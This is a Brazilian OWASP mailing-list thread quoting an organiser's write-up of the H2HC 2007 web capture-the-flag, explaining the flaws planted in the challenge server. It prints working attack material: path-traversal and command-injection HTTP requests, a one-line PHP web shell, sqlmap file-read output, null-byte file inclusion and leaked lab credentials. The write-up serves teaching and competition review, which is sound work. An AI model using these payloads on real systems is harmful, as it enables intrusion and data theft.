[Owasp-brazil] Resultado Capture The Flag - H2HC 2007.

Rodrigo Montoro (Sp0oKeR) spooker at gmail.com
Tue Nov 13 20:21:36 EST 2007


   Opa Dum_dum,
      A iniciativa do CTF do h2hc foi algo BEM legal e inovador na
cena nacional  , eu particularmente me escrevi,mas so recebi os dados
1 dia depois e nao tive tempo para fuçar mais,  infelizmente perdi uma
otima oportunidade de "brincar e tentar"  acha falhas  e realizar o
pentest, mas na proxima vou me programar melhor para ganhar o premio
..rsrs =)!!
    Referente ao H2HC como comentei antes palestras diferenciais, fora
os amigos e cervejas .
    Espero que voce e cia possam participar ano que vem ativamente da
lista e encontros tecnicos do OWASP, com certeza irão agregar
bastante.

Att,

On Nov 13, 2007 10:09 PM,  <dum_dum at frontthescene.com.br> wrote:
>
> Boa noite,
>
> Muito legal o pessoal ter se interessado pelo Capture The Flag, ficamos
> muito satisfeitos com essa interação da comunidade, inclusive com a
> participação de um pessoal da lista no CTF e no H2HC. :)
>
> No Capture The Flag (CTF) do H2HC 2007 intitulado "Bypass WebDefender If You
> Can" foi criado um ambiente simulando várias vulnerabilidades críticas e
> reais em aplicações web, algumas desenvolvidas pela equipe do CTF e outras
> não (por exemplo o phpBB2).
>
> O sistema ficou protegido pelo WebDefender desde o dia 01 de Novembro de
> 2007 a partir da 00:00:00 até o dia 07 de Novembro de 2007 a 23:59:59,
> durante esse período qualquer pessoa que tivesse sido capaz de penetrar no
> WebServer e ler o conteúdo do arquivo H2HCdesafioWebDefender.txt (que tinha
> permissão de leitura para qualquer usuário) teria vencido o mesmo e levado
> os prêmios oferecidos no Capture The Flag.
>
> Após esse período o WebDefender foi removido do ambiente do Capture The
> Flag - H2HC 2007 para que todos pudessem ver as vulnerabilidades existentes
> no mesmo, na manha do dia 09 de Novembro foi realizada uma apresentação no
> H2HC (Hackers 2 Hackers Conference) demonstrando uma série de falhas
> inseridas propositalmente no ambiente.
>
> O webserver (http://webdefenderh2hc.h2hc.org.br/) desprotegido continuará
> acessível na internet até o dia 18 de Novembro de 2007 para que todos possam
> ver e testar as vulnerabilidades existentes no sistema.
>
> É importante ressaltar que fora as falhas criadas pela equipe do CTF, ainda
> existia rodando um phpBB2 com vulnerabilidades públicas (e possivelmente
> vulnerabilidades desconhecidas - 0days) que poderiam ter sido utilizadas
> para vencer o CTF.
>
> Durante os 7 dias de Capture The Flag - H2HC 2007 tivemos 36 equipes
> inscritas e mais de 75 pessoas participando, chegando a um número próximo de
> 400.000 ataques detectados.
>
> Abaixo é explicado de forma resumida as principais vulnerabilidades criadas
> pela equipe do CTF, que poderiam ter sido utilizadas para vencer o mesmo.
>
>
> 1) No servidor existia um arquivo na raiz do WebServer chamado teste.php
> (http://webdefenderh2hc.h2hc.org.br/teste.php) que fazia uma chamada para a
> função phpinfo().
>
> Algumas informações importantes que poderíamos aprender sobre o ambiente com
> esse arquivo são as seguintes:
>
> - Sistema operacional utilizado e versão do kernel.
>
> System  Linux debian 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686
>
> - Versão do Apache (Apache2 no caso) e PHP (PHP5 no caso).
>
> Configuration File (php.ini) Path  /etc/php5/apache2/php.ini
>
> - Local de armazenamento das páginas/scripts.
>
> DOCUMENT_ROOT  /var/www/
>
> - Opção magic_quotes que dificulta (mas não impossibilita) ataques de SQL
> Injection desabilitado. Foi configurado dessa forma para facilitar os
> ataques de SQL Injection ao servidor.
>
> magic_quotes_gpc Off Off
> magic_quotes_runtime Off Off
> magic_quotes_sybase Off Off
>
> - Opção register_globals habilitada. Foi configurado dessa forma para
> permitir ataques de File Inclusion ao servidor.
>
> register_globals On On
>
>
> Obs.: Esse arquivo poderia facilmente ser descoberto utilizando ferramentas
> de análise de vulnerabilidades web ou mesmo manualmente (é relativamente
> comum a existência de arquivos phpinfo.php, test.php, teste.php, etc).
>
>
> 2) Uma das possíveis formas de descobrir onde o arquivo
> H2HCdesafioWebDefender.txt estava localizado era chamando o script
> /ctf/script_find.php com a variável arquivofnd com o valor *H2HC*.txt e
> setando o campo (variável) hidden caminhofnd com o valor
> "../../../../../../".
>
> Exemplo:
>
> POST /ctf/script_find.php HTTP/1.1
> Host: webdefenderh2hc.h2hc.org.br
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9)
> Gecko/20071025 Firefox/2.0.0.9
> Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
> Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Proxy-Connection: keep-alive
> Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php
> Cookie: hotlog=1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 36
>
> arquivofnd=*H2HC*.txt&caminhofnd=../../../../../../
>
>
> - Dessa forma obtínhamos um resultado similar ao mostrado abaixo:
>
>
> /var/www/ctf/../../../../../../etc/H2HCdesafioWebDefender.txt
>
> Que mostra que o arquivo H2HCdesafioWebDefender.txt estava dentro do
> diretório /etc. :)
>
>
> 3) podíamos ainda utilizar o script /ctf/script_md5.php para gerar o hash
> md5 do mesmo e verificar a existência do arquivo.
>
> Exemplo:
>
> POST /ctf/script_md5.php HTTP/1.1
> Host: webdefenderh2hc.h2hc.org.br
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9)
> Gecko/20071025 Firefox/2.0.0.9
> Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
> Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Proxy-Connection: keep-alive
> Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php
> Cookie: hotlog=1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 59
>
> arquivomd5=../../../../../../etc/H2HCdesafioWebDefender.txt
>
> - Dessa forma obtínhamos um resultado similar ao mostrado abaixo:
>
> 9f0d078c5e352d3f1081c4686f326be5
> ./../../../../../../etc/H2HCdesafioWebDefender.txt
>
>
> 4) Um dos meios de se obter o conteúdo do arquivo H2HCdesafioWebDefender.txt
> era utilizando uma falha que permitia execução de códigos remotos no script
> /ctf/script_traceroute.php devido a ausência de input validation na variável
> ip3, o mesmo era passado concatenado com outros valores e passado para a
> função system(). Então se setarmos a variável ip3 para ";COMANDO;" nós
> conseguimos executar comandos remotamente com os direitos do usuário
> (www-data no caso) com que o apache está rodando.
>
> Exemplo:
>
> POST /ctf/script_traceroute.php HTTP/1.1
> Host: webdefenderh2hc.h2hc.org.br
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9)
> Gecko/20071025 Firefox/2.0.0.9
> Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
> Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Proxy-Connection: keep-alive
> Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php
> Cookie: hotlog=1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 30
>
> ip1=200&ip2=175&ip3= ;cat /etc/H2HCdesafioWebDefender.txt; 180&ip4=
>
>
> - Dessa forma obtínhamos um resultado similar ao mostrado abaixo e
> poderíamos ter vencido o CTF:
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Parabens,
>
> Voce foi o vencedor do Capture The Flag do H2HC 2007! :)
>
> Equipe Security, WebDefender e H2HC.
>
> -----BEGIN PGP SIGNATURE-----
> Version: No Matter
>
> iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6nwxWEAoNVk
> +xvCFnwkI5T45hcU2q2UERdk
> =gtez
> -----END PGP SIGNATURE-----
>
>
> Obs.: O script /ctf/script_find.php tinha uma falha que permitia execução de
> códigos remoto de forma similar.
>
>
> 5) Podíamos utilizar o script /ctf/script_gr_trabalhe.php para fazer uploads
> de arquivos que nos permitisse executar códigos remotamente.
>
> Por exemplo nós poderíamos enviar um arquivo chamado "ws-exec.php" com o
> seguinte conteúdo:
>
>
> <?
>
> system($_GET['cmd']);
>
> ?>
>
>
> A grande questão é:
>
> * Onde esses arquivos estão sendo salvos? Um diretório dentro do
> DocumentRoot? No banco de dados?
>
> * Se for em um diretório dentro do DocumentRoot, eles são interpretados pelo
> servidor?
>
> * Arquivos com extensão .php são renomeados?
>
> * E várias outras dúvidas que podem surgir...
>
>
> As respostas para essas perguntas poderiam ser descobertas de 3 formas
> diferentes:
>
>
> - Dentro do DocumentRoot existia um diretório chamado tmp que era indexado e
> dentro dele podíamos ver o diretório uploads que também era indexado e nós
> permitia ver todos arquivos que foram enviados via upload.
>
> Obs.: Esse diretório poderia ter sido descoberto utilizando ferramentas de
> análise de vulnerabilidades web ou mesmo manualmente (é relativamente comum
> encontrarmos arquivos renomeados para .ren, .old, .bkp, etc dentro do
> DocumentRoot).
>
> Exemplos:
>
> Solicitando http://webdefenderh2hc.h2hc.org.br/tmp/
> Solicitando http://webdefenderh2hc.h2hc.org.br/tmp/uploads/
>
>
> - Solicitando o arquivo
> http://webdefenderh2hc.h2hc.org.br/ctf/script_gr_trabalhe.old nós veríamos o
> seguinte trecho de código:
>
>   $uploaddir = '/var/www/tmp/uploads/';
>   $uploadfile = $uploaddir.$arquivo;
>
>   // Faz o upload do arquivo
>   if ( move_uploaded_file($_FILES['arquivo']['tmp_name'], $uploadfile ) )
>     echo "<script>alert('Dados enviados com
> sucesso!!');document.location='trabalhe.php'</script>";
>   else
>     echo "<script>alert('Houve um erro ao enviar
> arquivo!!');document.location='trabalhe.php'</script>";
>
>   exit;
>
>
> Assim identificamos que os arquivos enviados são colocados dentro do
> diretório /tmp/uploads/ no DocumentRoot.
>
> Obs.: Lendo o mesmo script podemos descobrir que os arquivos não tem nenhuma
> restrição de segurança, com exceção de ser adicionado caracteres pseudo
> randômicos na frente do nome do arquivo.
>
>
> - A terceira forma vamos ver no iten (7) que explicará outras falhas.
>
>
> Após termos descoberto o DocumentRoot poderíamos simplesmente chamar o
> script que foi enviado via upload e passar o comando a ser executado para a
> variável cmd.
>
> Exemplo:
>
> http://webdefenderh2hc.h2hc.org.br/tmp/uploads/L15BNKws-exec.php?cmd=cat%20/etc/H2HCdesafioWebDefender.txt
>
>
> Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos
> ter vencido o CTF:
>
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Parabens,
>
> Voce foi o vencedor do Capture The Flag do H2HC 2007! :)
>
> Equipe Security, WebDefender e H2HC.
>
> -----BEGIN PGP SIGNATURE-----
> Version: No Matter
>
> iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6nwxWEAoNVk
> +xvCFnwkI5T45hcU2q2UERdk
> =gtez
> -----END PGP SIGNATURE-----
>
>
> 6) O script /ctf/show_noticia_popup.php é vulneravel a SQL Injection
> utilizando a variável id, como o banco de dados é MySQL podemos utilizar a
> função LOAD_FILE().
>
> Exemplo:
>
>
> debian:/tmp/sqlmap# python
> sqlmap.py --url="http://webdefenderh2hc.h2hc.org.br/ctf/show_noticia_popup.php?id=8"
>  --file="/etc/H2HCdesafioWebDefender.txt" -v1
>
>     sqlmap/0.5-rc3 coded by inquis <bernardo.damele at gmail.com>
>                     and belch <daniele.bellucci at gmail.com>
>
> [*] starting at: 12:07:05
>
> [12:07:06] [INFO] testing if the url is stable, wait a few seconds
> [12:07:08] [INFO] url is stable
> [12:07:08] [INFO] testing if 'id' parameter is dynamic
> [12:07:08] [INFO] confirming that 'id' parameter is dynamic
> [12:07:08] [INFO] parameter 'id' is dynamic
> [12:07:08] [INFO] testing sql injection on parameter 'id'
> [12:07:08] [INFO] testing numeric/unescaped injection on parameter 'id'
> [12:07:09] [INFO] parameter 'id' is not numeric/unescaped injectable
> [12:07:09] [INFO] testing string/single quote injection on parameter 'id'
> [12:07:10] [INFO] confirming string/single quote injection on parameter 'id'
> [12:07:10] [INFO] parameter 'id' is string/single quote injectable
> [12:07:10] [INFO] testing MySQL
> [12:07:10] [INFO] query: CONCAT('7', '7')
> [12:07:10] [INFO] retrieved: 77
> [12:07:17] [INFO] performed 20 queries in 6 seconds
> [12:07:17] [INFO] confirming MySQL
> [12:07:17] [INFO] query: LENGTH('7')
> [12:07:17] [INFO] retrieved: 1
> [12:07:20] [INFO] performed 13 queries in 3 seconds
> [12:07:20] [INFO] query: SELECT 7 FROM information_schema.TABLES LIMIT 0, 1
> [12:07:20] [INFO] retrieved: 7
> [12:07:25] [INFO] performed 13 queries in 4 seconds
> remote DBMS:    MySQL >= 5.0.0
>
> [12:07:25] [INFO] fetching file: '/etc/H2HCdesafioWebDefender.txt'
> [12:07:25] [INFO] query: LOAD_FILE('/etc/H2HCdesafioWebDefender.txt')
> [12:07:25] [INFO] retrieved:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Parabens,
>
> Voce foi o vencedor do Capture The Flag do H2HC 2007! :)
>
> Equipe Security, WebDefender e H2HC.
>
> -----BEGIN PGP SIGNATURE-----
> Version: No Matter
>
> iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6nwxWEAoNVk
> +xvCFnwkI5T45hcU2q2UERdk
> =gtez
> -----END PGP SIGNATURE-----
>
> [*] shutting down at: 12:25:08
>
>
>
> 7) O arquivo robots.txt no DocumentRoot permite um atacante descobrir vários
> diretórios e arquivos importantes.
>
> Exemplo:
>
> http://webdefenderh2hc.h2hc.org.br/robots.txt
>
>
> Dessa forma obtínhamos um resultado similar ao mostrado abaixo:
>
>
> User-agent: *
> Disallow: /tmp
> Disallow: /tmp/uploads
> Disallow: /ctf/db
> Disallow: /ctf/intranet
> Disallow: /ctf/Script MySql
> Disallow:       /ctf/intranet/phpBB2
> Disallow:       /ctf/usuarios.old
>
> Baseado no robots.txt:
>
> - Descobrimos o diretório de uploads de arquivos e poderíamos explorar a
> falha (5).
>
>
> - Descobrimos o diretório /ctf/db/ que é indexado e contem um arquivo
> chamado db.inc que tem informações de conexão com o banco de dados.
>
> Exemplo:
>
> http://webdefenderh2hc.h2hc.org.br/ctf/db/db.inc
>
>
> Dessa forma obtínhamos um resultado similar ao mostrado abaixo:
>
> <?php
>
>   // Abre conexão com banco de dados
>   $bd = new mysqli("localhost", "root", "vs at 34576gf3", "ctf" );
>
> ?>
>
> Podemos identificar o host, nome do usuário, senha e base de dados utilizada
> no MySql.
>
>
> - Descobrimos que na intranet existe um phpBB2 (/ctf/intranet/phpBB2).
>
>
> - Descobrimos o diretório "/ctf/Script MySql" que tem o script de criação do
> banco de dados.
>
>
> - Descobrimos o arquivo "/ctf/usuarios.old" que tem uma lista com usuários
> válidos para se autenticar na intranet ou sistema web form.
>
> Exemplo:
>
> http://webdefenderh2hc.h2hc.org.br/ctf/usuarios.old
>
> Dessa forma obtínhamos um resultado similar ao mostrado abaixo:
>
> ****************************************************
> *
> *
> *  Documento Privativo:)
> *
> *
> *
> ****************************************************
>
> Usuarios para acessar o site:
>
> User: security
> Pass: webdefenderh2hc
>
> User: h2hc
> Pass: ByPassWebDefenderIfYouCan
>
> Obs.: Com essas informações podemos logar na aplicação web form ou intranet.
>
>
> 8) Após logado no web form com as credenciais security/webdefenderh2hc
> podemos acessar o script /ctf/script_gr_noticia.php que é utilizado para
> inserir notícias no site.
>
> O script de cadastramento de noticias (/ctf/script_gr_noticia.php) tem uma
> cópia renomeada para .old (/ctf/script_gr_noticia.old), o mesmo poderia ter
> sido descoberto utilizando ferramentas de análise de vulnerabilidades web ou
> mesmo manualmente (é relativamente comum encontrarmos arquivos renomeados
> para .ren, .old, .bkp, etc).
>
> Analisando um trecho do código nós vemos:
>
>
>   if ( ( empty($titulo) || empty($noticia) ) )
>   {
>      echo "<script>alert(Ha campos em branco')</script>";
>      echo "<script>history.back()</script>";
>      exit;
>   }
>
>   include( $root."db/db.inc");
>
>   // Abre conexão com banco de dados
>   $bd = new mysqli("localhost", "root", "vs at 34576gf3", "ctf" );
>
>
> Podemos observar a utilização de include() passando uma variável (root) não
> inicializada como parâmetro, devido ao php do CTF ter o register_globals
> habilitado podemos modificar o valor dessa variável para um arquivo que
> desejamos ler e comentar o restante do nome do arquivo a ser incluído usando
> Null Bytes.
>
> Exemplo:
>
> POST /ctf/script_gr_noticia.php HTTP/1.1
> Host: webdefenderh2hc.h2hc.org.br
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.6)
> Gecko/20070725 Firefox/2.0.0.6
> Accept:
> text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
> Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
> Accept-Encoding: gzip,deflate
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Proxy-Connection: keep-alive
> Referer: http://webdefenderh2hc.h2hc.org.br/ctf/cad_noticias.php
> Cookie: PHPSESSID=f9f3c5dc00fb5bce70dfce8626791351
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 56
>
> titulo=Wendel&noticia=Demonstracao+-+H2HC+-+WebDefender.&root=/etc/H2HCdesafioWebDefender.txt%00
>
>
> Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos
> ter vencido o CTF:
>
>
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Parabens,
>
> Voce foi o vencedor do Capture The Flag do H2HC 2007! :)
>
> Equipe Security, WebDefender e H2HC.
>
> -----BEGIN PGP SIGNATURE-----
> Version: No Matter
>
> iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6nwxWEAoNVk
> +xvCFnwkI5T45hcU2q2UERdk
> =gtez
> -----END PGP SIGNATURE-----
>
>
> 9) Ainda podíamos fazer download de uma cópia de todo conteúdo (scripts,
> htmls, etc) do site solicitando o arquivo ctf.tgz dentro do DocumentRoot.
>
> http://webdefenderh2hc.h2hc.org.br/ctf.tgz
>
> Obs.: Esse arquivo poderia ter sido descoberto manualmente (é relativamente
> comum encontrarmos arquivos com o nome da empresa/dominio e extensão .tar,
> .zip, .tgz, etc dentro do DocumentRoot).
>
> Espero que tenha esclarecido as dúvidas. ;)
>
> Obrigado a todos que participaram do CTF e prestigiaram o H2HC.
>
> Wendel Guglielmetti Henrique - a.k.a dum_dum
> http://ws.hackaholic.org - personal page
>
> _______________________________________________
> Owasp-brazil mailing list
> Owasp-brazil at lists.owasp.org
> https://lists.owasp.org/mailman/listinfo/owasp-brazil
>



-- 
=========================
     Rodrigo Ribeiro Montoro
      Analista de Segurança
    SnortCP / RHCE / LPIC-I
 http://spookerlabs.multiply.com
=========================


More information about the Owasp-brazil mailing list